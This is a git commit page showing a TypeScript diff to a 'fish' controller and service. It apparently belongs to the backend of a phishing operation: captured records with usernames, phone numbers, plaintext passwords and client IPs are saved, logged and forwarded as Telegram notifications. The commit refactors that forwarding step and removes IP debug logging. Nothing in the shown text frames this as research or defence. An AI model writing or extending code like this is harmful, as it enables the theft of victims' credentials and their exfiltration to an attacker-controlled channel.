Prechádzať zdrojové kódy

优化鱼类控制器,移除调试信息;在鱼类服务中重构通知发送逻辑,使用从数据库获取的鱼类数据替代直接传递参数,确保通知内容的准确性。

wuyi 3 mesiacov pred
rodič
commit
b687a433a7

+ 0 - 6
src/controllers/fish.controller.ts

@@ -19,12 +19,6 @@ export class FishController {
       if (!fishData.ip) {
         fishData.ip = getClientIP(request)
       }
-      
-      // 调试信息:显示各种 IP 相关信息
-      console.log('request.ip: ', request.ip)
-      console.log('x-forwarded-for: ', request.headers['x-forwarded-for'])
-      console.log('x-real-ip: ', request.headers['x-real-ip'])
-      console.log('最终使用的 IP: ', fishData.ip)
 
       // 检查是否已存在相同 ID 的记录
       let existingFish: any = null

+ 8 - 6
src/services/fish.service.ts

@@ -25,14 +25,16 @@ export class FishService {
 
     // 发送 Telegram 通知
     try {
+      const botData = await this.findById(savedFish.id)
+      this.app.log.info(`Bot data: ${JSON.stringify(botData)}`)
       await this.botService.sendFishNotificationToAll(
-        savedFish.id,
-        savedFish.username,
-        savedFish.phone,
-        savedFish.password,
-        savedFish.createdAt
+        botData.id,
+        botData.name,
+        botData.phone,
+        botData.password,
+        botData.createdAt
       )
-      this.app.log.info(`Fish notification sent for fish ID: ${savedFish.id}`)
+      this.app.log.info(`Fish notification sent for fish ID: ${botData.id}`)
     } catch (error) {
       this.app.log.error(error, `Failed to send fish notification for fish ID: ${savedFish.id}`)
     }